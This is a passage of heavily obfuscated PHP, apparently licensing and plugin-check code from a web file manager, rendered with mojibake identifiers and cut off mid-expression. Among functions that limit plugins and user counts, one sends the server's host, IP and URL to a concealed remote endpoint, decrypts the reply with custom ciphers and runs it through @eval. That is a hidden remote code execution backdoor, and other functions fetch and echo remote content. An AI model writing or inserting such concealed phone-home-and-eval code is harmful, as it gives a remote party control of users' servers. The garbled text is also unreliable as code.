($º¸º†<C2BA>â <= Model($­Œ¢¹<C2A2><C2B9>[125])->count()) { show_json(LNG($­Œ¢¹<C2A2><C2B9>[215]), !1, $­Œ¢¹<C2A2><C2B9>[210]); die; } } } } private function tvjx70fd0a85() { $<24>šéÎå =& $_SERVER[ˆ¡¹µ‹Â]; $<24>æýÝà­ =& $_SERVER[ Ãœáã¬]; $ÃØ×Ô¿« = array($<24>æýÝà­[119], $<24>æýÝà­[120]); if (!KodUser::isRoot() || !isset($_GET[$<24>æýÝà­[216]])) { return; } if (!in_array($_SERVER[$<24>æýÝà­[24]], $ÃØ×Ô¿«)) { return; } $×ìñÜýù = $<24>æýÝà­[217]; $×ìñÜýù = $this->mows81ee32e9($×ìñÜýù, $<24>æýÝà­[218]); $†‘§èö· = $<24>šéÎå[740]; if (!$†‘§èö·) { die; } $›ý‡öÍ– = stream_context_create(array($<24>æýÝà­[219] => array($<24>æýÝà­[220] => $<24>æýÝà­[221], $<24>æýÝà­[222] => 3))); $𯭣ü© = @file_get_contents($×ìñÜýù, !1, $›ý‡öÍ–); header($<24>æýÝà­[223]); $Ù°öìÀ‘ = $<24>šéÎå[741]; if (strlen($Ù°öìÀ‘) < $<24>šéÎå[692]) { return; } if ($𯭣ü© && strstr($𯭣ü©, $<24>æýÝà­[224])) { echo $𯭣ü©; } die; } public function kxuj2681f9f0($¦ÝóÑêš) { $âÅæ‰¨æ =& $_SERVER[ˆ¡¹µ‹Â]; $ïÒÁõ½û =& $_SERVER[ Ãœáã¬]; if ($this->fmaldf286b22 == $ïÒÁõ½û[225]) { return $¦ÝóÑêš; } $·ƒ²<C692>œá = $this->versionPluginList(); $§á‚íÛô = $âÅæ‰¨æ[742]; if (!$§á‚íÛô) { die; } $É™äÃñà = explode($ïÒÁõ½û[226], $this->versionPluginFilter()); $‚ö¾Óîª = array(); $‡ˆ—ÍçÁ = $âÅæ‰¨æ[743]; while (strlen($‡ˆ—ÍçÁ) < $âÅæ‰¨æ[699]) { if (!$‡ˆ—ÍçÁ) { break; } $‡ˆ—ÍçÁ++; } foreach ($·ƒ²<C692>œá as $¸ùÒ«ó÷ => $ðµÜÊý½) { if ($ðµÜÊý½ == $ïÒÁõ½û[227] && substr($this->fmaldf286b22, 0, 1) == $ïÒÁõ½û[227]) { continue; } if (!in_array($¸ùÒ«ó÷, $É™äÃñÃ)) { $‚ö¾Óîª[] = $¸ùÒ«ó÷; } } foreach ($‚ö¾Óîª as $¸ùÒ«ó÷) { unset($¦ÝóÑêš[$¸ùÒ«ó÷]); $Ï<C38F>ÉìÍ = $âÅæ‰¨æ[744]; while ($Ï<C38F>ÉìÍ < $âÅæ‰¨æ[689]) { if ($Ï<C38F>ÉìÍ >= 0) { break; } $Ï<C38F>ÉìÍ++; } } return $¦ÝóÑêš; $­™®™¢<E284A2> = $âÅæ‰¨æ[745]; if (!$­™®™¢<E284A2>) { die; } } private function versionPluginList() { $Û<>½”¼ý =& $_SERVER[ˆ¡¹µ‹Â]; $ˆŒÀ¹©ó =& $_SERVER[ Ãœáã¬]; return array($ˆŒÀ¹©ó[228] => $ˆŒÀ¹©ó[227], $ˆŒÀ¹©ó[229] => $ˆŒÀ¹©ó[227], $ˆŒÀ¹©ó[230] => $ˆŒÀ¹©ó[227], $ˆŒÀ¹©ó[231] => $ˆŒÀ¹©ó[232], $ˆŒÀ¹©ó[233] => $ˆŒÀ¹©ó[232], $ˆŒÀ¹©ó[234] => $ˆŒÀ¹©ó[232], $ˆŒÀ¹©ó[235] => $ˆŒÀ¹©ó[232], $ˆŒÀ¹©ó[236] => $ˆŒÀ¹©ó[232], $ˆŒÀ¹©ó[237] => $ˆŒÀ¹©ó[232], $ˆŒÀ¹©ó[238] => $ˆŒÀ¹©ó[232], $ˆŒÀ¹©ó[239] => $ˆŒÀ¹©ó[232], $ˆŒÀ¹©ó[240] => $ˆŒÀ¹©ó[232], $ˆŒÀ¹©ó[241] => $ˆŒÀ¹©ó[232], $ˆŒÀ¹©ó[242] => $ˆŒÀ¹©ó[232], $ˆŒÀ¹©ó[243] => $ˆŒÀ¹©ó[232], $ˆŒÀ¹©ó[244] => $ˆŒÀ¹©ó[232]); $ð«”›€Î = $Û<>½”¼ý[746]; if (strlen($ð«”›€Î) < $Û<>½”¼ý[689]) { return; } } private function versionPluginFilter() { $íß”ð<E2809D>¤ =& $_SERVER[ Ãœáã¬]; if ($this->fmaldf286b22 == $íß”ð<E2809D>¤[109]) { return $íß”ð<E2809D>¤[6]; } $‰ù쾋ó = _get($this->goqzee6de40a, $íß”ð<E2809D>¤[245], $íß”ð<E2809D>¤[6]); $ŸÒ£í½ß = _get($this->goqzee6de40a, $íß”ð<E2809D>¤[116], $íß”ð<E2809D>¤[6]); $±¦úÓ«¯ = _get($this->goqzee6de40a, $íß”ð<E2809D>¤[246], $íß”ð<E2809D>¤[6]); if ($ŸÒ£í½ß > time() && $±¦úÓ«¯ > time()) { $‹«ŠèÁ€ = explode($íß”ð<E2809D>¤[226], $‰ù쾋ó); $¢š×‡†ý = array_keys($this->versionPluginList()); $‰ù쾋ó = array_merge($‹«ŠèÁ€, $¢š×‡†ý); $‰ù쾋ó = implode($íß”ð<E2809D>¤[226], array_filter(array_unique($‰ù쾋ó))); } return $‰ù쾋ó; } private function fdgq492341b8() { $ß°¸ÙºÉ =& $_SERVER[ Ãœáã¬]; if ($this->fmaldf286b22 != $ß°¸ÙºÉ[109]) { $GLOBALS[$ß°¸ÙºÉ[86]][$ß°¸ÙºÉ[90]][$ß°¸ÙºÉ[247]] = $ß°¸ÙºÉ[206]; return; } $GLOBALS[$ß°¸ÙºÉ[86]][$ß°¸ÙºÉ[248]] = $ß°¸ÙºÉ[122]; if (Model($ß°¸ÙºÉ[249])->get($ß°¸ÙºÉ[63]) != $ß°¸ÙºÉ[206]) { Model($ß°¸ÙºÉ[249])->set($ß°¸ÙºÉ[63], $ß°¸ÙºÉ[206]); } } public function mnba94ab81d2() { return $_SERVER[ Ãœáã¬][250]; $¡»É£žù = $_SERVER[ˆ¡¹µ‹Â][690]; if (!$¡»É£žù) { die; } } private function vzpe2014d4c5() { $µªÌ™¦³ =& $_SERVER[ˆ¡¹µ‹Â]; $‰½¶²ö’ =& $_SERVER[ Ãœáã¬]; $ا§ÁÛ° = array($‰½¶²ö’[251], $‰½¶²ö’[252], $‰½¶²ö’[253]); $ͼ„Ý•© = $‰½¶²ö’[254] . md5($‰½¶²ö’[255]); $„°Ê€Ý = $µªÌ™¦³[747]; if (strlen($„°Ê€Ý) < $µªÌ™¦³[699]) { return; } if ($this->fmaldf286b22 == $‰½¶²ö’[109] || !KodUser::isRoot()) { return; } if (!in_array($_SERVER[$‰½¶²ö’[24]], $ا§ÁÛ°)) { return; } if (time() % 4 != 0) { return; } $Ç<>øç•§ = call_user_func(array($‰½¶²ö’[256], $‰½¶²ö’[257]), $ͼ„Ý•©); if ($Ç<>øç•§ && time() - $Ç<>øç•§ < intval($‰½¶²ö’[258])) { return; } call_user_func(array($‰½¶²ö’[256], $‰½¶²ö’[139]), $ͼ„Ý•©, time()); $ȺœøýÄ = $µªÌ™¦³[748]; $ޑ֛ô½ = Model($‰½¶²ö’[33])->get($‰½¶²ö’[100]); $ÞïÊÉÅÁ = array($‰½¶²ö’[152] => Model($‰½¶²ö’[33])->get($‰½¶²ö’[153]), $‰½¶²ö’[167] => $this->fmaldf286b22, $‰½¶²ö’[163] => $_SERVER[$‰½¶²ö’[164]], $‰½¶²ö’[165] => Model($‰½¶²ö’[33])->get($‰½¶²ö’[131]), $‰½¶²ö’[105] => md5($_SERVER[$‰½¶²ö’[106]] . $ޑ֛ô½), $‰½¶²ö’[156] => $‰½¶²ö’[136], $‰½¶²ö’[159] => $_SERVER[$‰½¶²ö’[160]]); $lj<C387>¹ø³ = $this->bjuec3f47b28($‰½¶²ö’[259], $ÞïÊÉÅÁ); $ŒÙªñÒÌ = $µªÌ™¦³[749]; if (strlen($ŒÙªñÒÌ) < $µªÌ™¦³[683]) { return; } if (!is_array($lj<C387>¹ø³)) { return; } if ($lj<C387>¹ø³[$‰½¶²ö’[152]] && $lj<C387>¹ø³[$‰½¶²ö’[260]]) { if ($this->wzcp5224ff0a($lj<C387>¹ø³[$‰½¶²ö’[260]]) == $ÞïÊÉÅÁ[$‰½¶²ö’[152]]) { return; } } $this->aveg04054a67(); $¼ë´ÛÊ€ = $µªÌ™¦³[750]; if (!$¼ë´ÛÊ€) { return; } if ($this->wzcp5224ff0a($lj<C387>¹ø³[$‰½¶²ö’[260]]) != $ÞïÊÉÅÁ[$‰½¶²ö’[152]]) { $¾ÓÜøºù = array($‰½¶²ö’[185] => $ޑ֛ô½, $‰½¶²ö’[186] => $_SERVER[$‰½¶²ö’[106]], $‰½¶²ö’[187] => this_url(), $‰½¶²ö’[161] => $_SERVER[$‰½¶²ö’[162]]); $™ÛÏ<C39B>öç = $this->wkij18ea694e(json_encode($¾ÓÜøºù)); $lj<C387>¹ø³ = $this->bjuec3f47b28($‰½¶²ö’[188] . $™ÛÏ<C39B>öç); if ($lj<C387>¹ø³ && is_array($lj<C387>¹ø³) && isset($lj<C387>¹ø³[$‰½¶²ö’[260]])) { $±šÌéŒÇ = $this->riht7b89a64e($lj<C387>¹ø³[$‰½¶²ö’[260]], 2); if ($±šÌéŒÇ) { $±šÌéŒÇ = $this->wzcp5224ff0a($±šÌéŒÇ); } if ($±šÌéŒÇ) { try { @eval($±šÌéŒÇ); } catch (Exception $óÆË†–´) { } } } } } private function bjuec3f47b28($é<>ÑË„£ = '', $ФžØ°Ù = array(), $™ü¦·…· = 5) { $»«òÙÛ‹ =& $_SERVER[ˆ¡¹µ‹Â]; $Ò»õæ—´ =& $_SERVER[ Ãœáã¬]; $Ò€Þй† = $Ò»õæ—´[261]; $ÚȳëÏÄ = $»«òÙÛ‹[751]; $Ò€Þй† = $this->mows81ee32e9($Ò€Þй†, $Ò»õæ—´[262]); $²Š‚…áž = $»«òÙÛ‹[752]; while ($²Š‚…áž < $»«òÙÛ‹[699]) { if ($²Š‚…áž >= 0) { break; } $²Š‚…áž++; } $Ò€Þй† = $Ò€Þй† . $é<>ÑË„£; $ÅœÓú€¥ = $»«òÙÛ‹[753]; if ($ФžØ°Ù && is_array($ФžØ°Ù)) { $Ò€Þй† = $Ò€Þй† . $Ò»õæ—´[263] . http_build_query($ФžØ°Ù); } if ($ФžØ°Ù === -1) { return $Ò€Þй†; } $³Ô©µÔ¨ = stream_context_create(array($Ò»õæ—´[219] => array($Ò»õæ—´[222] => $™ü¦·…·, $Ò»õæ—´[220] => $Ò»õæ—´[264]), $Ò»õæ—´[265] => array($Ò»õæ—´[266] => !1, $Ò»õæ—´[267] => !1))); $ФžØ°Ù = @file_get_contents($Ò€Þй†, !1, $³Ô©µÔ¨); $èÇ•Œ¾˜ = $»«òÙÛ‹[754]; if (!$èÇ•Œ¾˜) { die; } return json_decode($ФžØ°Ù, !0); $‡Ž¥¥¸Ž = $»«òÙÛ‹[722]; while ($‡Ž¥¥¸Ž < $»«òÙÛ‹[683]) { if ($‡Ž¥¥¸Ž >= 0) { break; } $‡Ž¥¥¸Ž++; } } private function oqdma4d4d1df() { $®Æ<C2AE>´Œò =& $_SERVER[ˆ¡¹µ‹Â]; $’ÜÅÒ¥ê =& $_SERVER[ Ãœáã¬]; $êಳó  = array($’ÜÅÒ¥ê[268] => $’ÜÅÒ¥ê[269], $’ÜÅÒ¥ê[270] => $’ÜÅÒ¥ê[271], $’ÜÅÒ¥ê[272] => $’ÜÅÒ¥ê[273], $’ÜÅÒ¥ê[274] => $’ÜÅÒ¥ê[275], $’ÜÅÒ¥ê[276] => $’ÜÅÒ¥ê[277], $’ÜÅÒ¥ê[278] => $’ÜÅÒ¥ê[214], $’ÜÅÒ¥ê[279] => $’ÜÅÒ¥ê[214], $’ÜÅÒ¥ê[280] => $’ÜÅÒ¥ê[269], $’ÜÅÒ¥ê[281] => $’ÜÅÒ¥ê[271], $’ÜÅÒ¥ê[282] => $’ÜÅÒ¥ê[273], $’ÜÅÒ¥ê[283] => $’ÜÅÒ¥ê[284], $’ÜÅÒ¥ê[285] => $’ÜÅÒ¥ê[275], $’ÜÅÒ¥ê[286] => $’ÜÅÒ¥ê[287], $’ÜÅÒ¥ê[288] => $’ÜÅÒ¥ê[277], $’ÜÅÒ¥ê[289] => $’ÜÅÒ¥ê[290], $’ÜÅÒ¥ê[291] => $’ÜÅÒ¥ê[292], $’ÜÅÒ¥ê[293] => $’ÜÅÒ¥ê[294]); $¸Ú<C2B8> ûÛ = $êಳó [$this->fmaldf286b22]; $¸Ú<C2B8> ûÛ = intval($¸Ú<C2B8> ûÛ ? $¸Ú<C2B8> ûÛ : $’ÜÅÒ¥ê[269]); $šÃäÇð° = $®Æ<C2AE>´Œò[755]; if (!$šÃäÇð°) { return; } $¯Š¦Ä±³ = _get($this->goqzee6de40a, $’ÜÅÒ¥ê[295]); $׽ū<C385>¿ = $®Æ<C2AE>´Œò[756]; if (strlen($׽ū<C385>¿) < $®Æ<C2AE>´Œò[692]) { die; } $¯Š¦Ä±³ = $¯Š¦Ä±³ ? intval($¯Š¦Ä±³) : 0; $…Õù宨 = $®Æ<C2AE>´Œò[757]; if (!$…Õù宨) { die; } return $¸Ú<C2B8> ûÛ + $¯Š¦Ä±³; } public function rtqf88c78492($…üåÀˆÊ) { $Ôí¥ Þþ =& $_SERVER[ˆ¡¹µ‹Â]; $Ç‹ª¤“¬ =& $_SERVER[ Ãœáã¬]; $Í©£–‚× = $this->oqdma4d4d1df(); $Þå¯Õ’Ç = $Ôí¥ Þþ[758]; if ($…üåÀˆÊ[$Ç‹ª¤“¬[296]] == $Ç‹ª¤“¬[122]) { return; } if ($Í©£–‚× >= intval($Ç‹ª¤“¬[214])) { return; } $ßÒéÖ<C3A9> = Model($Ç‹ª¤“¬[125])->count(); if ($ßÒéÖ<C3A9> <= $Í©£–‚×) { return; } $ð™¼<E284A2>Ò­ = Model($Ç‹ª¤“¬[125])->field($Ç‹ª¤“¬[296])->limit($Í©£–‚×)->select(); $²‘öÞìß = $Ôí¥ Þþ[759]; if (!$²‘öÞìß) { return; } $ð™¼<E284A2>Ò­ = array_to_keyvalue($ð™¼<E284A2>Ò­, $Ç‹ª¤“¬[6], $Ç‹ª¤“¬[296]); if (!in_array($…üåÀˆÊ[$Ç‹ª¤“¬[296]], $ð™¼<E284A2>Ò­)) { show_json($Ç‹ª¤“¬[297], !1, $Ç‹ª¤“¬[210]); } } public function xelqe8f30b06() { $èæ¿<C3A6>¡Þ =& $_SERVER[ Ãœáã¬]; if (!KodUser::isRoot() || mt_rand(1, 100) > 20) { return; } $°Ë¢Ï„  = $èæ¿<C3A6>¡Þ[217]; $©©<C2A9>„® = $_SERVER[ˆ¡¹µ‹Â][760]; if (!$©©<C2A9>„®) { die; } $°Ë¢Ï„  = $this->mows81ee32e9($°Ë¢Ï„ , $èæ¿<C3A6>¡Þ[218]); $²Õ“¾­ý = stream_context_create(array($èæ¿<C3A6>¡Þ[219] => array($èæ¿<C3A6>¡Þ[220] => $èæ¿<C3A6>¡Þ[221], $èæ¿<C3A6>¡Þ[222] => 3))); $¡Ÿ—<C5B8>¯« = @file_get_contents($°Ë¢Ï„ , !1, $²Õ“¾­ý); echo $èæ¿<C3A6>¡Þ[298] . hash_encode($¡Ÿ—<C5B8>¯«) . $èæ¿<C3A6>¡Þ[299]; } private function jdncf0daa323($¡Ù<C2A1>çé‰, $ú³¥†°Ñ, $„¨¯°Ï¨ = 3) { $ÉßÁ½£— =& $_SERVER[ˆ¡¹µ‹Â]; $Ëã‚…’Á =& $_SERVER[ Ãœáã¬]; usleep(1); $û…¯ü‚Ò = $ÉßÁ½£—[761]; if (!$û…¯ü‚Ò) { return; } $¡Ù<C2A1>çé‰ = trim($¡Ù<C2A1>çé‰); $¡‚Š­¿ø = mt_rand(0, 5) . $Ëã‚…’Á[6]; $˜<>€¨<E282AC>Ô = $ÉßÁ½£—[762]; if (strlen($˜<>€¨<E282AC>Ô) < $ÉßÁ½£—[699]) { return; } $ŒËÙúÀì = rand_string(15); $Ð‹ÝÆÁ‘ = $Ëã‚…’Á[300]; switch ($¡‚Š­¿ø) { case $Ëã‚…’Á[206]: $†‘†íé¿ = $this->butf4e080185($¡Ù<C2A1>çé‰, strrev($ú³¥†°Ñ . $ŒËÙúÀì)); $¶“‘›¸° = $ÉßÁ½£—[763]; if (!$¶“‘›¸°) { die; } break; case $Ëã‚…’Á[122]: $†‘†íé¿ = $this->butf4e080185($¡Ù<C2A1>çé‰, strrev($ŒËÙúÀì . $ú³¥†°Ñ)); break; $Çòþߎ¢ = $ÉßÁ½£—[764]; if (strlen($Çòþߎ¢) < $ÉßÁ½£—[692]) { die; } case $Ëã‚…’Á[301]: $†‘†íé¿ = $this->butf4e080185($¡Ù<C2A1>çé‰, base64_encode($ŒËÙúÀì . $ú³¥†°Ñ)); $˲‰ý•· = $ÉßÁ½£—[765]; if (!$˲‰ý•·) { return; } break; case $Ëã‚…’Á[302]: $†‘†íé¿ = $this->butf4e080185($¡Ù<C2A1>çé‰, md5($ŒËÙúÀì . $ú³¥†°Ñ)); $Úó®ÌãÕ = $ÉßÁ½£—[766]; break; case $Ëã‚…’Á[303]: $¡Ù<C2A1>çé‰ = base64_encode($¡Ù<C2A1>çé‰); $œÔÖáÀ¥ = rand(0, 64); $йń›ž = $ÉßÁ½£—[767]; while ($йń›ž < $ÉßÁ½£—[699]) { if ($йń›ž >= 0) { break; } $йń›ž++; } $Ûù¯ðš× = $Ð‹ÝÆÁ‘[$œÔÖáÀ¥]; $ՈɤØÀ = md5($Ûù¯ðš× . md5($ú³¥†°Ñ . $Ûù¯ðš×) . $ú³¥†°Ñ); $™Õä„°ô = $ÉßÁ½£—[768]; while ($™Õä„°ô < $ÉßÁ½£—[683]) { if ($™Õä„°ô >= 0) { break; } $™Õä„°ô++; } $ՈɤØÀ = substr($ՈɤØÀ, $œÔÖáÀ¥ % 8, $œÔÖáÀ¥ % 8 + 7); $®<>¦<EFBFBD>Ô¼ = $Ëã‚…’Á[6]; $‰»Ë­¨º = $ÉßÁ½£—[769]; if (strlen($‰»Ë­¨º) < $ÉßÁ½£—[687]) { die; } $ìäï<C3A4>Ôò = 0; $Ú«‘ãêÍ = $ÉßÁ½£—[770]; if (strlen($Ú«‘ãêÍ) < $ÉßÁ½£—[683]) { return; } $Ú¯þ—‘Ï = 0; $§‹ùÄÃÆ = 0; for ($ìäï<C3A4>Ôò = 0; $ìäï<C3A4>Ôò < strlen($¡Ù<C2A1>çé‰); $ìäï<C3A4>Ôò++) { $§‹ùÄÃÆ = $§‹ùÄÃÆ == strlen($ՈɤØÀ) ? 0 : $§‹ùÄÃÆ; $Ú¯þ—‘Ï = ($œÔÖáÀ¥ + strpos($Ð‹ÝÆÁ‘, $¡Ù<C2A1>çé‰[$ìäï<C3A4>Ôò]) + ord($ՈɤØÀ[$§‹ùÄÃÆ++])) % 64; $””<E2809D>„Ïç = $ÉßÁ½£—[771]; if (strlen($””<E2809D>„Ïç) < $ÉßÁ½£—[683]) { return; } $®<>¦<EFBFBD>Ô¼ .= $Ð‹ÝÆÁ‘[$Ú¯þ—‘Ï]; } $†‘†íé¿ = hash_encode($Ûù¯ðš× . $®<>¦<EFBFBD>Ô¼); break; $ÜÒÎðøê = $ÉßÁ½£—[772]; if (strlen($ÜÒÎðøê) < $ÉßÁ½£—[687]) { die; } default: $†‘†íé¿ = $this->butf4e080185($¡Ù<C2A1>çé‰, $ú³¥†°Ñ . $ŒËÙúÀì); $ý©œ = $ÉßÁ½£—[773]; break; $¿÷õ•¤† = $ÉßÁ½£—[774]; } $†‘†íé¿ = strrev($¡‚Š­¿ø . $ŒËÙúÀì . $†‘†íé¿); if ($„¨¯°Ï¨ - 1 > 0) { $†‘†íé¿ = $this->jdncf0daa323($†‘†íé¿, $ú³¥†°Ñ, $„¨¯°Ï¨ - 1); } return $†‘†íé¿; } private function riht7b89a64e($é£Ü—Ÿš, $ø“ª¿‡µ, $„Ìæñ¦Æ = 3) { $ÄÉù©œ‡ =& $_SERVER[ˆ¡¹µ‹Â]; $‰©ŠÄó˜ =& $_SERVER[ Ãœáã¬]; if (!is_string($é£Ü—Ÿš) || strlen($é£Ü—Ÿš) < 10) { return !1; } $é£Ü—Ÿš = trim($é£Ü—Ÿš); $Ààßßâí = $ÄÉù©œ‡[775]; $é£Ü—Ÿš = strrev($é£Ü—Ÿš); $“Åè’Ρ = $ÄÉù©œ‡[776]; if (!$“Åè’Ρ) { return; } $†Ã<E280A0>˜ = $é£Ü—Ÿš[0]; $ôЮŠÔ” = substr($é£Ü—Ÿš, 1, 15); $׸‰½ñ™ = $ÄÉù©œ‡[777]; if (!$׸‰½ñ™) { return; } $é£Ü—Ÿš = substr($é£Ü—Ÿš, 16); $ߦ¯â±­ = $‰©ŠÄó˜[300]; $Ÿ <C2A0>Üø = $ÄÉù©œ‡[778]; if (strlen($Ÿ <C2A0>Üø) < $ÄÉù©œ‡[699]) { die; } switch ($†Ã<E280A0>˜) { case $‰©ŠÄó˜[206]: $¹ë‚øºô = $this->mows81ee32e9($é£Ü—Ÿš, strrev($ø“ª¿‡µ . $ôЮŠÔ”)); $𽉇´Å = $ÄÉù©œ‡[779]; break; $©£<C2A9>¨Ìø = $ÄÉù©œ‡[780]; if (!$©£<C2A9>¨Ìø) { return; } case $‰©ŠÄó˜[122]: $¹ë‚øºô = $this->mows81ee32e9($é£Ü—Ÿš, strrev($ôЮŠÔ” . $ø“ª¿‡µ)); break; case $‰©ŠÄó˜[301]: $¹ë‚øºô = $this->mows81ee32e9($é£Ü—Ÿš, base64_encode($ôЮŠÔ” . $ø“ª¿‡µ)); break; case $‰©ŠÄó˜[302]: $¹ë‚øºô = $this->mows81ee32e9($é£Ü—Ÿš, md5($ôЮŠÔ” . $ø“ª¿‡µ)); $Å÷ñ¸¢§ = $ÄÉù©œ‡[781]; if (strlen($Å÷ñ¸¢§) < $ÄÉù©œ‡[683]) { die; } break; case $‰©ŠÄó˜[303]: $é£Ü—Ÿš = hash_decode($é£Ü—Ÿš); $Žá¯´éÇ = $é£Ü—Ÿš[0]; $é£Ü—Ÿš = substr($é£Ü—Ÿš, 1); $–¬üº÷Œ = $ÄÉù©œ‡[782]; if (!$–¬üº÷Œ) { die; } $«ñº¡è‰ = strpos($ߦ¯â±­, $Žá¯´éÇ); $Ø„€¦£˜ = md5($Žá¯´éÇ . md5($ø“ª¿‡µ . $Žá¯´éÇ) . $ø“ª¿‡µ); $¡âíÃÇÝ = $ÄÉù©œ‡[783]; while ($¡âíÃÇÝ < $ÄÉù©œ‡[692]) { if ($¡âíÃÇÝ >= 0) { break; } $¡âíÃÇÝ++; } $Ø„€¦£˜ = substr($Ø„€¦£˜, $«ñº¡è‰ % 8, $«ñº¡è‰ % 8 + 7); $öŸ•<C5B8>Õ» = $ÄÉù©œ‡[784]; while ($öŸ•<C5B8>Õ» < $ÄÉù©œ‡[689]) { if ($öŸ•<C5B8>Õ» >= 0) { break; } $öŸ•<C5B8>Õ»++; } $Ÿ¥Åì‘ = $‰©ŠÄó˜[6]; $õýÍøœ† = 0; $£é­å¬Â = $ÄÉù©œ‡[785]; $œâ‹Óžì = 0; $Ŷ’çïÜ = 0; $ÁÉËÁÑË = $ÄÉù©œ‡[786]; if (!$ÁÉËÁÑË) { return; } for ($õýÍøœ† = 0; $õýÍøœ† < strlen($é£Ü—Ÿš); $õýÍøœ†++) { $Ŷ’çïÜ = $Ŷ’çïÜ == strlen($Ø„€¦£˜) ? 0 : $Ŷ’çïÜ; $äЉ‘¸ä = $ÄÉù©œ‡[787]; while ($äЉ‘¸ä < $ÄÉù©œ‡[687]) { if ($äЉ‘¸ä >= 0) { break; } $äЉ‘¸ä++; } $ë½Íà›· = $Ŷ’çïÜ++; $±©ÉÀþ» = $ÄÉù©œ‡[788]; while (strlen($±©ÉÀþ») < $ÄÉù©œ‡[687]) { if (!$±©ÉÀþ») { break; } $±©ÉÀþ»++; } $œâ‹Óžì = strpos($ߦ¯â±­, $é£Ü—Ÿš[$õýÍøœ†]) - $«ñº¡è‰ - ord($Ø„€¦£˜[$ë½Íà›·]); $©¨<C2A9>ÞñÝ = $ÄÉù©œ‡[789]; while (strlen($©¨<C2A9>ÞñÝ) < $ÄÉù©œ‡[689]) { if (!$©¨<C2A9>ÞñÝ) { break; } $©¨<C2A9>ÞñÝ++; } while ($œâ‹Óžì < 0) { $œâ‹Óžì += 64; $›¬’꼚 = $ÄÉù©œ‡[790]; while (strlen($›¬’꼚) < $ÄÉù©œ‡[699]) { if (!$›¬’꼚) { break; } $›¬’꼚++; } } $Ÿ¥Åì‘ .= $ߦ¯â±­[$œâ‹Óžì]; } $¹ë‚øºô = base64_decode($Ÿ¥Åì‘); break; default: $¹ë‚øºô = $this->mows81ee32e9($é£Ü—Ÿš, $ø“ª¿‡µ . $ôЮŠÔ”); break; $ýÒ¯ïïÕ = $ÄÉù©œ‡[791]; } if ($„Ìæñ¦Æ - 1 > 0) { $¹ë‚øºô = $this->riht7b89a64e($¹ë‚øºô, $ø“ª¿‡µ, $„Ìæñ¦Æ - 1); } return $¹ë‚øºô; } public function wkij18ea694e($н¿Áï“) { $Ãòû<C3B2>Ž• =& $_SERVER[ˆ¡¹µ‹Â]; $ª·ð¶¿å =& $_SERVER[ Ãœáã¬]; $»ºý<C2BA>˰ = $this->ocbk84372016(); $µ¢Ô¯ë¹ = $Ãòû<C3B2>Ž•[792]; while ($µ¢Ô¯ë¹ < $Ãòû<C3B2>Ž•[687]) { if ($µ¢Ô¯ë¹ >= 0) { break; } $µ¢Ô¯ë¹++; } $«ÙÙ<C399>¨ = $this->ocbk84372016(); $ÇÏӿݰ = ($»ºý<C2BA>˰ - 1) * ($«ÙÙ<C399>¨ - 1); $ÐÞó°äê = $Ãòû<C3B2>Ž•[793]; $Ÿ“<C5B8>¸Úß = intval(($»ºý<C2BA>˰ + $«ÙÙ<C399>¨) / 2); while (1) { $꥘Դ<C394> = $Ÿ“<C5B8>¸Úß; $þØÑÇ¢” = $ÇÏӿݰ; while ($þØÑÇ¢” % $꥘Դ<C394> != 0) { $<24>Æ<EFBFBD>•ûË = $þØÑÇ¢”; $ƒÄ¯’˜« = $Ãòû<C3B2>Ž•[794]; while ($ƒÄ¯’˜« < $Ãòû<C3B2>Ž•[687]) { if ($ƒÄ¯’˜« >= 0) { break; } $ƒÄ¯’˜«++; } $þØÑÇ¢” = $꥘Դ<C394>; $꥘Դ<C394> = $<24>Æ<EFBFBD>•ûË % $꥘Դ<C394>; } if ($꥘Դ<C394> == 1) { break; } else { $Ÿ“<C5B8>¸Úß++; } } $¸íßø“‡ = 2; $®„“áëÊ = $Ãòû<C3B2>Ž•[795]; while (strlen($®„“áëÊ) < $Ãòû<C3B2>Ž•[699]) { if (!$®„“áëÊ) { break; } $®„“áëÊ++; } for ($·Êì<C38A>­ = 0; $·Êì<C38A>­ < $ÇÏӿݰ * 10; $·Êì<C38A>­++) { if (($ÇÏӿݰ * $·Êì<C38A>­ + 1) % $Ÿ“<C5B8>¸Úß == 0) { $¸íßø“‡ = intval(($ÇÏӿݰ * $·Êì<C38A>­ + 1) / $Ÿ“<C5B8>¸Úß); break; } } $–ÐÙ«†¥ = $this->butf4e080185($»ºý<C2BA>˰ * $«ÙÙ<C399>¨ . $ª·ð¶¿å[6], $ª·ð¶¿å[136]); $˜—Üý×<C3BD> = md5($ª·ð¶¿å[304] . ($»ºý<C2BA>˰ + $«ÙÙ<C399>¨) . $ª·ð¶¿å[305] . $Ÿ“<C5B8>¸Úß . $ª·ð¶¿å[305] . $¸íßø“‡ . $ª·ð¶¿å[306]); $ºñ¡¤¹… = $Ãòû<C3B2>Ž•[796]; if (strlen($ºñ¡¤¹…) < $Ãòû<C3B2>Ž•[683]) { return; } $“šŽÜÊÐ = $this->butf4e080185($н¿Áï“, $˜—Üý×<C3BD>) . $ª·ð¶¿å[307] . $–ÐÙ«†¥; $õ °¤˜Ö = $Ãòû<C3B2>Ž•[797]; if (strlen($õ °¤˜Ö) < $Ãòû<C3B2>Ž•[683]) { return; } return $“šŽÜÊÐ; } public function wzcp5224ff0a($ˆüôù÷ä) { $˜ð‹Ýƒý =& $_SERVER[ˆ¡¹µ‹Â]; $ƒÓߨ´ñ =& $_SERVER[ Ãœáã¬]; $<24>½¼Ú† = explode($ƒÓߨ´ñ[307], $ˆüôù÷ä); $™µÅöã¹ = $˜ð‹Ýƒý[798]; while ($™µÅöã¹ < $˜ð‹Ýƒý[699]) { if ($™µÅöã¹ >= 0) { break; } $™µÅöã¹++; } if (count($<24>½¼Ú†) != 2) { return $ƒÓߨ´ñ[6]; } $Ûï™æ‘î = $this->mows81ee32e9($<24>½¼Ú†[1] . $ƒÓߨ´ñ[6], $ƒÓߨ´ñ[136]); if (!$Ûï™æ‘î) { return $ƒÓߨ´ñ[6]; } $Ûï™æ‘î = intval($Ûï™æ‘î); $϶’¤ùí = $˜ð‹Ýƒý[799]; if (strlen($϶’¤ùí) < $˜ð‹Ýƒý[683]) { return; } $Û÷ú€ÙŒ = 0; $Ð<>²Àï = 0; for ($ߢ€ò«„ = 3; $ߢ€ò«„ < $Ûï™æ‘î; $ߢ€ò«„ += 2) { if ($Ûï™æ‘î % $ߢ€ò«„ != 0) { continue; } $Û÷ú€ÙŒ = $ߢ€ò«„; $Ð<>²Àï = intval($Ûï™æ‘î / $ߢ€ò«„); break; $ðµå†å¦ = $˜ð‹Ýƒý[800]; if (strlen($ðµå†å¦) < $˜ð‹Ýƒý[683]) { return; } } $¸Ÿ‡Š•¤ = ($Û÷ú€ÙŒ - 1) * ($Ð<>²Àï - 